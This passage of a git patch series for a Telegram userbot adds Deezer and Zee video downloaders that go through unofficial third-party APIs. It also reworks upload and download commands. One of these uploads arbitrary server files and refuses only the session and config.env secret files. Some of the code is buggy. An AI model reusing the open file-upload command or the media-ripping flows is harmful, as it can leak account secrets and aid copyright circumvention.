title=str(urlhp.get("title")), + performer=str(polu.get("name")), + ) + ], + ) + os.remove(sname) os.remove(thum_f) await event.delete() From c1cabea0f26e81b63dd60735333d7631982786d0 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Wed, 27 Jan 2021 18:56:27 +0530 Subject: [PATCH 788/838] Update __init__.py --- virtualuserbot/function/__init__.py | 44 +++++++++++++++++++++++++++++ 1 file changed, 44 insertions(+) diff --git a/virtualuserbot/function/__init__.py b/virtualuserbot/function/__init__.py index 777db900..bf724ca8 100644 --- a/virtualuserbot/function/__init__.py +++ b/virtualuserbot/function/__init__.py @@ -596,6 +596,50 @@ async def _ytdl(url, is_it, event, tgbot): ) os.remove(f"{ytdl_data['id']}.mp4") +async def _deezer_dl(word, event, tgbot): + await event.edit("`Ok Downloading This Audio - Please Wait.` \n**Powered By @VirtualUserbot**") + link = f"https://api.deezer.com/search?q={word}&limit=1" + dato = requests.get(url=link).json() + match = dato.get("data") + urlhp= (match[0]) + urlp = urlhp.get("link") + polu = urlhp.get("artist") + replo = urlp[29:] + urlp = f"https://starkapi.herokuapp.com/deezer/{replo}" + datto = requests.get(url=urlp).json() + mus = datto.get("url") + thums = urlhp["album"]["cover_medium"] + sname = f'''{urlhp.get("title")}.mp3''' + doc = requests.get(mus) + with open(sname, 'wb') as f: + f.write(doc.content) + car = f""" +**Song Name :** {urlhp.get("title")} +**Duration :** {urlhp.get('duration')} Seconds +**Artist :** {polu.get("name")} +Music Downloaded And Uploaded By VirtualUserbot +Get Your VirtualUserbot From @VirtualUserbot""" + await event.edit("Song Downloaded. Waiting To Upload. 🥳🤗") + c_time = time.time() + uploaded_file = await upload_file( + file_name=sname, + client=tgbot, + file=open(sname, 'rb'), + progress_callback=lambda d, t: asyncio.get_event_loop().create_task( + progress( + d, t, event, c_time, "Uploading..", sname + ) + ), + ) + + await event.edit( + file=uploaded_file, + text=f"""{urlhp.get("title")} \n**Uploaded Using @VirtualUserbot**""" + ) + os.remove(sname) + + + async def get_all_admin_chats(event): lul_stark = [] From 6a665b648410bbe0d9c361d5fac6afa0d626647d Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Wed, 27 Jan 2021 13:27:16 +0000 Subject: [PATCH 789/838] pylint: auto fixes --- virtualuserbot/function/__init__.py | 39 ++++++++++++++--------------- 1 file changed, 19 insertions(+), 20 deletions(-) diff --git a/virtualuserbot/function/__init__.py b/virtualuserbot/function/__init__.py index bf724ca8..9ae21cbe 100644 --- a/virtualuserbot/function/__init__.py +++ b/virtualuserbot/function/__init__.py @@ -596,23 +596,26 @@ async def _ytdl(url, is_it, event, tgbot): ) os.remove(f"{ytdl_data['id']}.mp4") + async def _deezer_dl(word, event, tgbot): - await event.edit("`Ok Downloading This Audio - Please Wait.` \n**Powered By @VirtualUserbot**") + await event.edit( + "`Ok Downloading This Audio - Please Wait.` \n**Powered By @VirtualUserbot**" + ) link = f"https://api.deezer.com/search?q={word}&limit=1" dato = requests.get(url=link).json() match = dato.get("data") - urlhp= (match[0]) + urlhp = match[0] urlp = urlhp.get("link") polu = urlhp.get("artist") replo = urlp[29:] urlp = f"https://starkapi.herokuapp.com/deezer/{replo}" datto = requests.get(url=urlp).json() mus = datto.get("url") - thums = urlhp["album"]["cover_medium"] - sname = f'''{urlhp.get("title")}.mp3''' + urlhp["album"]["cover_medium"] + sname = f"""{urlhp.get("title")}.mp3""" doc = requests.get(mus) - with open(sname, 'wb') as f: - f.write(doc.content) + with open(sname, "wb") as f: + f.write(doc.content) car = f""" **Song Name :** {urlhp.get("title")} **Duration :** {urlhp.get('duration')} Seconds @@ -622,25 +625,21 @@ async def _deezer_dl(word, event, tgbot): await event.edit("Song Downloaded. Waiting To Upload. 🥳🤗") c_time = time.time() uploaded_file = await upload_file( - file_name=sname, - client=tgbot, - file=open(sname, 'rb'), - progress_callback=lambda d, t: asyncio.get_event_loop().create_task( - progress( - d, t, event, c_time, "Uploading..", sname - ) - ), - ) - + file_name=sname, + client=tgbot, + file=open(sname, "rb"), + progress_callback=lambda d, t: asyncio.get_event_loop().create_task( + progress(d, t, event, c_time, "Uploading..", sname) + ), + ) + await event.edit( - file=uploaded_file, - text=f"""{urlhp.get("title")} \n**Uploaded Using @VirtualUserbot**""" + file=uploaded_file, + text=f"""{urlhp.get("title")} \n**Uploaded Using @VirtualUserbot**""", ) os.remove(sname) - - async def get_all_admin_chats(event): lul_stark = [] all_chats = [ From c42cc28fa26fc3fab90f3668739ff5c813d57caa Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Wed, 27 Jan 2021 19:01:45 +0530 Subject: [PATCH 790/838] Update _inlinebot.py --- virtualuserbot/modules/_inlinebot.py | 54 ++++++++++++++++++++-------- 1 file changed, 39 insertions(+), 15 deletions(-) diff --git a/virtualuserbot/modules/_inlinebot.py b/virtualuserbot/modules/_inlinebot.py index 5587a494..cf39e062 100644 --- a/virtualuserbot/modules/_inlinebot.py +++ b/virtualuserbot/modules/_inlinebot.py @@ -155,6 +155,18 @@ async def rip(event): return is_it = True await _ytdl(link_s, is_it, event, tgbot) + + + @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"deezer_dl_(.*)"))) + async def rip(event): + sun = event.data_match.group(1).decode("UTF-8") + + if event.query.user_id != bot.uid: + text = f"Please Get Your Own Friday And Don't Waste My Resources" + await event.answer(text, alert=True) + return + ok = await _deezer_dl(sun, event, tgbot) + @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"yt_vid_(.*)"))) async def rip(event): @@ -420,6 +432,18 @@ async def rip(event): return is_it = True await _ytdl(link_s, is_it, event, tgbot) + + + @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"deezer_dl_(.*)"))) + async def rip(event): + sun = event.data_match.group(1).decode("UTF-8") + + if event.query.user_id != bot.uid: + text = f"Please Get Your Own Friday And Don't Waste My Resources" + await event.answer(text, alert=True) + return + ok = await _deezer_dl(sun, event, tgbot) + @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"yt_vid_(.*)"))) async def rip(event): @@ -868,7 +892,7 @@ async def inline_id_handler(event): if event.query.user_id != bot.uid: resultm = builder.article( title="- Not Allowded -", - text=f"You Can't Use This Bot. \nDeploy VirtualUserbot To Get Your Own Assistant, Repo Link [Here](https://github.com/inukaasith/virtualuserbot)", + text=f"You Can't Use This Bot. \nDeploy Friday To Get Your Own Assistant, Repo Link [Here](https://github.com/StarkGang/FridayUserbot)", ) await event.answer([resultm]) return @@ -876,22 +900,22 @@ async def inline_id_handler(event): input_str = event.pattern_match.group(1) link = f"https://api.deezer.com/search?q={input_str}&limit=7" dato = requests.get(url=link).json() - # data_s = json.loads(data_s) + #data_s = json.loads(data_s) for match in dato.get("data"): - hmm_m = f"Title : {match['title']} \nLink : {match['link']} \nDuration : {match['duration']} seconds \nBy : {match['artist']['name']}" - results.append( - await event.builder.article( - title=match["title"], - text=hmm_m, - description=f"Artist: {match['artist']['name']}\nAlbum: {match['album']['title']}", - thumb=InputWebDocument( - url=match["album"]["cover_medium"], - size=0, - mime_type="image/jpeg", - attributes=[], + urlp = match.get("link") + hmm_m = (f"Title : {match['title']} \nLink : {match['link']} \nDuration : {match['duration']} seconds \nBy : {match['artist']['name']}") + results.append( + await event.builder.document( + file=match["album"]["cover_medium"], + title=match["title"], + text=hmm_m, + description=f"Artist: {match['artist']['name']}\nAlbum: {match['album']['title']}", + buttons=[ + [custom.Button.inline("Download Audio - mp3", data=f"deezer_dl_{match['title']}")], + [Button.switch_inline("Search Again", query="deezer ", same_peer=True)], + ] ), - ), - ) + ) if results: try: await event.answer(results) From ece3535c5ba5fa983feb2f368e58707b5eeb300e Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Wed, 27 Jan 2021 13:32:50 +0000 Subject: [PATCH 791/838] pylint: auto fixes --- virtualuserbot/modules/_inlinebot.py | 49 +++++++++++++++------------- 1 file changed, 26 insertions(+), 23 deletions(-) diff --git a/virtualuserbot/modules/_inlinebot.py b/virtualuserbot/modules/_inlinebot.py index cf39e062..2e4c0ce2 100644 --- a/virtualuserbot/modules/_inlinebot.py +++ b/virtualuserbot/modules/_inlinebot.py @@ -9,7 +9,6 @@ from pornhub_api import PornhubApi from search_engine_parser import GoogleSearch from telethon import Button, custom, events, functions -from telethon.tl.types import InputWebDocument from youtube_search import YoutubeSearch from virtualuserbot import ALIVE_NAME, CMD_HELP, CMD_LIST, lang @@ -155,8 +154,7 @@ async def rip(event): return is_it = True await _ytdl(link_s, is_it, event, tgbot) - - + @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"deezer_dl_(.*)"))) async def rip(event): sun = event.data_match.group(1).decode("UTF-8") @@ -165,8 +163,7 @@ async def rip(event): text = f"Please Get Your Own Friday And Don't Waste My Resources" await event.answer(text, alert=True) return - ok = await _deezer_dl(sun, event, tgbot) - + await _deezer_dl(sun, event, tgbot) @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"yt_vid_(.*)"))) async def rip(event): @@ -432,7 +429,6 @@ async def rip(event): return is_it = True await _ytdl(link_s, is_it, event, tgbot) - @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"deezer_dl_(.*)"))) async def rip(event): @@ -442,8 +438,7 @@ async def rip(event): text = f"Please Get Your Own Friday And Don't Waste My Resources" await event.answer(text, alert=True) return - ok = await _deezer_dl(sun, event, tgbot) - + await _deezer_dl(sun, event, tgbot) @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"yt_vid_(.*)"))) async def rip(event): @@ -900,22 +895,30 @@ async def inline_id_handler(event): input_str = event.pattern_match.group(1) link = f"https://api.deezer.com/search?q={input_str}&limit=7" dato = requests.get(url=link).json() - #data_s = json.loads(data_s) + # data_s = json.loads(data_s) for match in dato.get("data"): - urlp = match.get("link") - hmm_m = (f"Title : {match['title']} \nLink : {match['link']} \nDuration : {match['duration']} seconds \nBy : {match['artist']['name']}") - results.append( - await event.builder.document( - file=match["album"]["cover_medium"], - title=match["title"], - text=hmm_m, - description=f"Artist: {match['artist']['name']}\nAlbum: {match['album']['title']}", - buttons=[ - [custom.Button.inline("Download Audio - mp3", data=f"deezer_dl_{match['title']}")], - [Button.switch_inline("Search Again", query="deezer ", same_peer=True)], - ] - ), - ) + match.get("link") + hmm_m = f"Title : {match['title']} \nLink : {match['link']} \nDuration : {match['duration']} seconds \nBy : {match['artist']['name']}" + results.append( + await event.builder.document( + file=match["album"]["cover_medium"], + title=match["title"], + text=hmm_m, + description=f"Artist: {match['artist']['name']}\nAlbum: {match['album']['title']}", + buttons=[ + [ + custom.Button.inline( + "Download Audio - mp3", data=f"deezer_dl_{match['title']}" + ) + ], + [ + Button.switch_inline( + "Search Again", query="deezer ", same_peer=True + ) + ], + ], + ), + ) if results: try: await event.answer(results) From b54d477d0d52420d10362ebec146c2b58af8758a Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Wed, 27 Jan 2021 19:03:21 +0530 Subject: [PATCH 792/838] Update _inlinebot.py --- virtualuserbot/modules/_inlinebot.py | 63 ++++++++++++++-------------- 1 file changed, 31 insertions(+), 32 deletions(-) diff --git a/virtualuserbot/modules/_inlinebot.py b/virtualuserbot/modules/_inlinebot.py index 2e4c0ce2..d5fab3c6 100644 --- a/virtualuserbot/modules/_inlinebot.py +++ b/virtualuserbot/modules/_inlinebot.py @@ -1,19 +1,22 @@ import os import re import urllib +import json from math import ceil from re import findall -from urllib.parse import quote - import requests -from pornhub_api import PornhubApi +from youtube_search import YoutubeSearch from search_engine_parser import GoogleSearch +from virtualuserbot.function import _ytdl, fetch_json, _deezer_dl +from urllib.parse import quote +import requests from telethon import Button, custom, events, functions -from youtube_search import YoutubeSearch - +from youtubesearchpython import VideosSearch from virtualuserbot import ALIVE_NAME, CMD_HELP, CMD_LIST, lang -from virtualuserbot.function import _ytdl from virtualuserbot.modules import inlinestats +from pornhub_api import PornhubApi +from telethon.tl.types import BotInlineResult, InputBotInlineMessageMediaAuto, DocumentAttributeImageSize, InputWebDocument, InputBotInlineResult +from telethon.tl.functions.messages import SetInlineBotResultsRequest PMPERMIT_PIC = os.environ.get("PMPERMIT_PIC", None) if PMPERMIT_PIC is None: @@ -154,7 +157,8 @@ async def rip(event): return is_it = True await _ytdl(link_s, is_it, event, tgbot) - + + @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"deezer_dl_(.*)"))) async def rip(event): sun = event.data_match.group(1).decode("UTF-8") @@ -163,7 +167,8 @@ async def rip(event): text = f"Please Get Your Own Friday And Don't Waste My Resources" await event.answer(text, alert=True) return - await _deezer_dl(sun, event, tgbot) + ok = await _deezer_dl(sun, event, tgbot) + @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"yt_vid_(.*)"))) async def rip(event): @@ -429,6 +434,7 @@ async def rip(event): return is_it = True await _ytdl(link_s, is_it, event, tgbot) + @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"deezer_dl_(.*)"))) async def rip(event): @@ -438,7 +444,8 @@ async def rip(event): text = f"Please Get Your Own Friday And Don't Waste My Resources" await event.answer(text, alert=True) return - await _deezer_dl(sun, event, tgbot) + ok = await _deezer_dl(sun, event, tgbot) + @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"yt_vid_(.*)"))) async def rip(event): @@ -895,30 +902,22 @@ async def inline_id_handler(event): input_str = event.pattern_match.group(1) link = f"https://api.deezer.com/search?q={input_str}&limit=7" dato = requests.get(url=link).json() - # data_s = json.loads(data_s) + #data_s = json.loads(data_s) for match in dato.get("data"): - match.get("link") - hmm_m = f"Title : {match['title']} \nLink : {match['link']} \nDuration : {match['duration']} seconds \nBy : {match['artist']['name']}" - results.append( - await event.builder.document( - file=match["album"]["cover_medium"], - title=match["title"], - text=hmm_m, - description=f"Artist: {match['artist']['name']}\nAlbum: {match['album']['title']}", - buttons=[ - [ - custom.Button.inline( - "Download Audio - mp3", data=f"deezer_dl_{match['title']}" - ) - ], - [ - Button.switch_inline( - "Search Again", query="deezer ", same_peer=True - ) - ], - ], - ), - ) + urlp = match.get("link") + hmm_m = (f"Title : {match['title']} \nLink : {match['link']} \nDuration : {match['duration']} seconds \nBy : {match['artist']['name']}") + results.append( + await event.builder.document( + file=match["album"]["cover_medium"], + title=match["title"], + text=hmm_m, + description=f"Artist: {match['artist']['name']}\nAlbum: {match['album']['title']}", + buttons=[ + [custom.Button.inline("Download Audio - mp3", data=f"deezer_dl_{match['title']}")], + [Button.switch_inline("Search Again", query="deezer ", same_peer=True)], + ] + ), + ) if results: try: await event.answer(results) From 42de80a937d86d570cf0b093f71a16bae2636e0a Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Wed, 27 Jan 2021 19:03:52 +0530 Subject: [PATCH 793/838] Update requirements.txt --- requirements.txt | 2 -- 1 file changed, 2 deletions(-) diff --git a/requirements.txt b/requirements.txt index 4f99385c..807c967d 100644 --- a/requirements.txt +++ b/requirements.txt @@ -2,8 +2,6 @@ Pillow google-trans-new cryptg nospamplus -deethon -deezloader pymediainfo quote python-magic From d48ccdc26d90796db08a383649594d90a3eb1b05 Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Wed, 27 Jan 2021 13:34:43 +0000 Subject: [PATCH 794/838] pylint: auto fixes --- virtualuserbot/modules/_inlinebot.py | 63 ++++++++++++++-------------- 1 file changed, 32 insertions(+), 31 deletions(-) diff --git a/virtualuserbot/modules/_inlinebot.py b/virtualuserbot/modules/_inlinebot.py index d5fab3c6..b2235230 100644 --- a/virtualuserbot/modules/_inlinebot.py +++ b/virtualuserbot/modules/_inlinebot.py @@ -1,22 +1,19 @@ import os import re import urllib -import json from math import ceil from re import findall -import requests -from youtube_search import YoutubeSearch -from search_engine_parser import GoogleSearch -from virtualuserbot.function import _ytdl, fetch_json, _deezer_dl from urllib.parse import quote + import requests +from pornhub_api import PornhubApi +from search_engine_parser import GoogleSearch from telethon import Button, custom, events, functions -from youtubesearchpython import VideosSearch +from youtube_search import YoutubeSearch + from virtualuserbot import ALIVE_NAME, CMD_HELP, CMD_LIST, lang +from virtualuserbot.function import _deezer_dl, _ytdl from virtualuserbot.modules import inlinestats -from pornhub_api import PornhubApi -from telethon.tl.types import BotInlineResult, InputBotInlineMessageMediaAuto, DocumentAttributeImageSize, InputWebDocument, InputBotInlineResult -from telethon.tl.functions.messages import SetInlineBotResultsRequest PMPERMIT_PIC = os.environ.get("PMPERMIT_PIC", None) if PMPERMIT_PIC is None: @@ -157,8 +154,7 @@ async def rip(event): return is_it = True await _ytdl(link_s, is_it, event, tgbot) - - + @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"deezer_dl_(.*)"))) async def rip(event): sun = event.data_match.group(1).decode("UTF-8") @@ -167,8 +163,7 @@ async def rip(event): text = f"Please Get Your Own Friday And Don't Waste My Resources" await event.answer(text, alert=True) return - ok = await _deezer_dl(sun, event, tgbot) - + await _deezer_dl(sun, event, tgbot) @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"yt_vid_(.*)"))) async def rip(event): @@ -434,7 +429,6 @@ async def rip(event): return is_it = True await _ytdl(link_s, is_it, event, tgbot) - @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"deezer_dl_(.*)"))) async def rip(event): @@ -444,8 +438,7 @@ async def rip(event): text = f"Please Get Your Own Friday And Don't Waste My Resources" await event.answer(text, alert=True) return - ok = await _deezer_dl(sun, event, tgbot) - + await _deezer_dl(sun, event, tgbot) @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"yt_vid_(.*)"))) async def rip(event): @@ -902,22 +895,30 @@ async def inline_id_handler(event): input_str = event.pattern_match.group(1) link = f"https://api.deezer.com/search?q={input_str}&limit=7" dato = requests.get(url=link).json() - #data_s = json.loads(data_s) + # data_s = json.loads(data_s) for match in dato.get("data"): - urlp = match.get("link") - hmm_m = (f"Title : {match['title']} \nLink : {match['link']} \nDuration : {match['duration']} seconds \nBy : {match['artist']['name']}") - results.append( - await event.builder.document( - file=match["album"]["cover_medium"], - title=match["title"], - text=hmm_m, - description=f"Artist: {match['artist']['name']}\nAlbum: {match['album']['title']}", - buttons=[ - [custom.Button.inline("Download Audio - mp3", data=f"deezer_dl_{match['title']}")], - [Button.switch_inline("Search Again", query="deezer ", same_peer=True)], - ] - ), - ) + match.get("link") + hmm_m = f"Title : {match['title']} \nLink : {match['link']} \nDuration : {match['duration']} seconds \nBy : {match['artist']['name']}" + results.append( + await event.builder.document( + file=match["album"]["cover_medium"], + title=match["title"], + text=hmm_m, + description=f"Artist: {match['artist']['name']}\nAlbum: {match['album']['title']}", + buttons=[ + [ + custom.Button.inline( + "Download Audio - mp3", data=f"deezer_dl_{match['title']}" + ) + ], + [ + Button.switch_inline( + "Search Again", query="deezer ", same_peer=True + ) + ], + ], + ), + ) if results: try: await event.answer(results) From 8d5326b975e0384604a1bc94de389d0cfecf612f Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Mon, 1 Feb 2021 14:06:41 +0530 Subject: [PATCH 795/838] Update upload_dl.py --- virtualuserbot/modules/upload_dl.py | 143 +++++++++++++++++----------- 1 file changed, 89 insertions(+), 54 deletions(-) diff --git a/virtualuserbot/modules/upload_dl.py b/virtualuserbot/modules/upload_dl.py index 0e23e8cc..1067f954 100644 --- a/virtualuserbot/modules/upload_dl.py +++ b/virtualuserbot/modules/upload_dl.py @@ -1,33 +1,37 @@ # @UniBorg +from urllib.parse import urlparse import asyncio import json import math +import requests import os import subprocess import time from datetime import datetime from urllib.parse import urlparse - from hachoir.metadata import extractMetadata from hachoir.parser import createParser from pySmartDL import SmartDL from telethon.tl.types import DocumentAttributeVideo - -from virtualuserbot import CMD_HELP, LOGS, TEMP_DOWNLOAD_DIRECTORY -from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd +from fridaybot.function.FastTelethon import upload_file +from fridaybot import CMD_HELP, LOGS, TEMP_DOWNLOAD_DIRECTORY +from fridaybot.events import register +from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd async def progress(current, total, event, start, type_of_ps, file_name=None): """Generic progress_callback for uploads and downloads.""" now = time.time() diff = now - start - if round(diff % 10.00) == 0 or current != total: + if round(diff % 10.00) == 0 or current == total: percentage = current * 100 / total speed = current / diff elapsed_time = round(diff) * 1000 + if elapsed_time == 0: + return time_to_completion = round((total - current) / speed) * 1000 estimated_total_time = elapsed_time + time_to_completion - progress_str = "[{0}{1}] {2}%\n".format( + progress_str = "{0}{1} {2}%\n".format( "".join(["▰" for i in range(math.floor(percentage / 10))]), "".join(["▱" for i in range(10 - math.floor(percentage / 10))]), round(percentage, 2), @@ -36,11 +40,18 @@ async def progress(current, total, event, start, type_of_ps, file_name=None): humanbytes(current), humanbytes(total), time_formatter(estimated_total_time) ) if file_name: - await event.edit( - "{}\nFile Name: `{}`\n{}".format(type_of_ps, file_name, tmp) - ) + try: + await event.edit( + "{}\n**File Name:** `{}`\n{}".format(type_of_ps, file_name, tmp) + + ) + except: + pass else: - await event.edit("{}\n{}".format(type_of_ps, tmp)) + try: + await event.edit("{}\n{}".format(type_of_ps, tmp)) + except: + pass def humanbytes(size): @@ -79,36 +90,44 @@ def time_formatter(milliseconds: int) -> str: @friday.on(friday_on_cmd(pattern="download(?: |$)(.*)")) @friday.on(sudo_cmd(pattern="download(?: |$)(.*)", allow_sudo=True)) async def download(target_file): + if target_file.fwd_from: + return friday = await edit_or_reply(target_file, "`Processing ...`") - await friday.edit("Processing using VirtualUserbot server ( ◜‿◝ )♡") + await friday.edit("Processing using fridaybot server ( ◜‿◝ )♡") if not os.path.isdir(TEMP_DOWNLOAD_DIRECTORY): os.makedirs(TEMP_DOWNLOAD_DIRECTORY) - if target_file.reply_to_msg_id: - try: - c_time = time.time() - downloaded_file_name = await target_file.client.download_media( + if not target_file.reply_to_msg_id: + await friday.edit("`Reply to a message to download to my local server.`") + return + sedd = await target_file.get_reply_message() + if not sedd.media: + await event.edit("`I Can Only Download Media As For Now.`") + return + try: + c_time = time.time() + downloaded_file_name = await target_file.client.download_media( await target_file.get_reply_message(), TEMP_DOWNLOAD_DIRECTORY, progress_callback=lambda d, t: asyncio.get_event_loop().create_task( - progress(d, t, target_file, c_time, "Downloading...") + progress(d, t, target_file, c_time, "Downloading This Media...") ), ) - except Exception as e: # pylint:disable=C0103,W0703 - await friday.edit(str(e)) - else: - await friday.edit( + except Exception as e: # pylint:disable=C0103,W0703 + await friday.edit(str(e)) + else: + await friday.edit( "Downloaded to `{}` successfully !!".format(downloaded_file_name) ) - else: - await friday.edit("Reply to a message to download to my local server.") @friday.on(friday_on_cmd(pattern=r"uploadir (.*)")) async def uploadir(udir_event): + if udir_event.fwd_from: + return """ For .uploadir command, allows you to upload everything from a folder in the server""" input_str = udir_event.pattern_match.group(1) if os.path.exists(input_str): - await udir_event.edit("Downloading Using VirtualUserbot Server....") + await udir_event.edit("Downloading Using Userbot Server....") lst_of_files = [] for r, d, f in os.walk(input_str): for file in f: @@ -191,10 +210,12 @@ async def uploadir(udir_event): @friday.on(friday_on_cmd(pattern=r"upload (.*)")) async def upload(u_event): - """ For .upload command, allows you to upload a file from the VirtualUserbot's server """ + if u_event.fwd_from: + return + """ For .upload command, allows you to upload a file from the fridaybot's server """ await u_event.edit("Processing ...") input_str = u_event.pattern_match.group(1) - if input_str in ("virtualuserbot.session", "config.env"): + if input_str in ("fridaybot.session", "config.env"): await u_event.edit("`That's a dangerous operation! Not Permitted!`") return if os.path.exists(input_str): @@ -267,6 +288,8 @@ def extract_w_h(file): @friday.on(friday_on_cmd(pattern=r"uploadas(stream|vn|all) (.*)")) async def uploadas(uas_event): + if uas_event.fwd_from: + return """ For .uploadas command, allows you to specify some arguments for upload. """ await uas_event.edit("Processing ...") type_of_upload = uas_event.pattern_match.group(1) @@ -357,10 +380,11 @@ async def uploadas(uas_event): else: await uas_event.edit("404: File Not Found") - -@borg.on(friday_on_cmd(pattern="smartdl ?(.*)")) +@borg.on(friday_on_cmd(pattern='smartdl')) async def lul(event): - input_str = event.pattern_match.group(1) + if event.fwd_from: + return + input_str = event.raw_text.split(" ", maxsplit=1)[1] mone = await event.edit("**Processing..**") start = datetime.now() url = input_str @@ -378,22 +402,19 @@ async def lul(event): now = time.time() diff = now - c_time percentage = downloader.get_progress() * 100 - downloader.get_speed() - round(diff) * 1000 + speed = downloader.get_speed() + elapsed_time = round(diff) * 1000 progress_str = "[{0}{1}]\nProgress: {2}%".format( - "".join(["▰" for i in range(math.floor(percentage / 5))]), - "".join(["▱" for i in range(20 - math.floor(percentage / 5))]), - round(percentage, 2), - ) + ''.join(["▰" for i in range(math.floor(percentage / 5))]), + ''.join(["▱" for i in range(20 - math.floor(percentage / 5))]), + round(percentage, 2)) estimated_total_time = downloader.get_eta(human=True) try: current_message = f"trying to download\n" current_message += f"URL: {url}\n" current_message += f"File Name: {file_name}\n" current_message += f"{progress_str}\n" - current_message += ( - f"{humanbytes(downloaded)} of {humanbytes(total_length)}\n" - ) + current_message += f"{humanbytes(downloaded)} of {humanbytes(total_length)}\n" current_message += f"ETA: {estimated_total_time}" if round(diff % 10.00) == 0 and current_message != display_message: await mone.edit(current_message) @@ -404,32 +425,46 @@ async def lul(event): ms = (end - start).seconds if downloader.isSuccessful(): c_time = time.time() - lul = await mone.edit( - "Downloaded to `{}` in {} seconds.".format(downloaded_file_name, ms) - ) - await borg.send_file( - event.chat_id, - downloaded_file_name, - caption=file_name, - force_document=False, - allow_cache=False, + lul = await mone.edit("Downloaded to `{}` in {} seconds.".format(downloaded_file_name, ms)) + lol_m = await upload_file( + file_name=file_name, + client=borg, + file=open(downloaded_file_name, 'rb'), progress_callback=lambda d, t: asyncio.get_event_loop().create_task( progress( - d, - t, - event, - c_time, - "Uploading in Progress.......", - downloaded_file_name, + d, t, event, c_time, "Uploading This File.", downloaded_file_name ) ), ) + await borg.send_file(event.chat_id, + lol_m, + caption=file_name, + force_document=False, + allow_cache=False, + ) await lul.delete() os.remove(downloaded_file_name) else: await mone.edit("Incorrect URL\n {}".format(input_str)) - - + +@friday.on(friday_on_cmd(pattern="zeelink")) +async def lol_kangers(event): + input_str = event.raw_text.split(" ", maxsplit=1)[1] + if 'zee' in input_str: + url = "http://devsexpo.me/zee/" + sed = { + 'url': input_str + } + lmao = requests.get(url=url, headers=sed).json() + else: + await event.edit("Only Zee Videos Supported.") + return + if lmao['success'] is False: + await event.edit("Task Failed Due To " + str(lmao['error'])) + return + await event.edit("Direct Link Fetched \nURL : " + str(lmao['url'])) + + CMD_HELP.update( { "download": ".dl or reply to media\ From dd78902c6098df9e0ac80ecb39f15f1e5c9925e5 Mon Sep 17 00:00:00 2001 From: inukaasith Date: Mon, 1 Feb 2021 08:37:05 +0000 Subject: [PATCH 796/838] SeD Replacer --- virtualuserbot/modules/upload_dl.py | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/virtualuserbot/modules/upload_dl.py b/virtualuserbot/modules/upload_dl.py index 1067f954..dd30166f 100644 --- a/virtualuserbot/modules/upload_dl.py +++ b/virtualuserbot/modules/upload_dl.py @@ -13,10 +13,10 @@ from hachoir.parser import createParser from pySmartDL import SmartDL from telethon.tl.types import DocumentAttributeVideo -from fridaybot.function.FastTelethon import upload_file -from fridaybot import CMD_HELP, LOGS, TEMP_DOWNLOAD_DIRECTORY -from fridaybot.events import register -from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd +from virtualuserbot.function.FastTelethon import upload_file +from virtualuserbot import CMD_HELP, LOGS, TEMP_DOWNLOAD_DIRECTORY +from virtualuserbot.events import register +from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd async def progress(current, total, event, start, type_of_ps, file_name=None): @@ -93,7 +93,7 @@ async def download(target_file): if target_file.fwd_from: return friday = await edit_or_reply(target_file, "`Processing ...`") - await friday.edit("Processing using fridaybot server ( ◜‿◝ )♡") + await friday.edit("Processing using virtualuserbot server ( ◜‿◝ )♡") if not os.path.isdir(TEMP_DOWNLOAD_DIRECTORY): os.makedirs(TEMP_DOWNLOAD_DIRECTORY) if not target_file.reply_to_msg_id: @@ -212,10 +212,10 @@ async def uploadir(udir_event): async def upload(u_event): if u_event.fwd_from: return - """ For .upload command, allows you to upload a file from the fridaybot's server """ + """ For .upload command, allows you to upload a file from the virtualuserbot's server """ await u_event.edit("Processing ...") input_str = u_event.pattern_match.group(1) - if input_str in ("fridaybot.session", "config.env"): + if input_str in ("virtualuserbot.session", "config.env"): await u_event.edit("`That's a dangerous operation! Not Permitted!`") return if os.path.exists(input_str): From 5f420414ac71e37c5261ece9c8f6766ac721e646 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Mon, 1 Feb 2021 14:08:54 +0530 Subject: [PATCH 797/838] Update ytmusic.py --- virtualuserbot/modules/ytmusic.py | 178 +++++++++++++++++++++++++++--- 1 file changed, 160 insertions(+), 18 deletions(-) diff --git a/virtualuserbot/modules/ytmusic.py b/virtualuserbot/modules/ytmusic.py index 9c3cdc18..133322cb 100644 --- a/virtualuserbot/modules/ytmusic.py +++ b/virtualuserbot/modules/ytmusic.py @@ -1,12 +1,44 @@ +# Copyright (C) Midhun KM 2020-2021 +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU Affero General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU Affero General Public License for more details. +# +# You should have received a copy of the GNU Affero General Public License +# along with this program. If not, see . + import asyncio import os import wget from youtubesearchpython import SearchVideos +import asyncio +import math +import os +import time -from virtualuserbot import 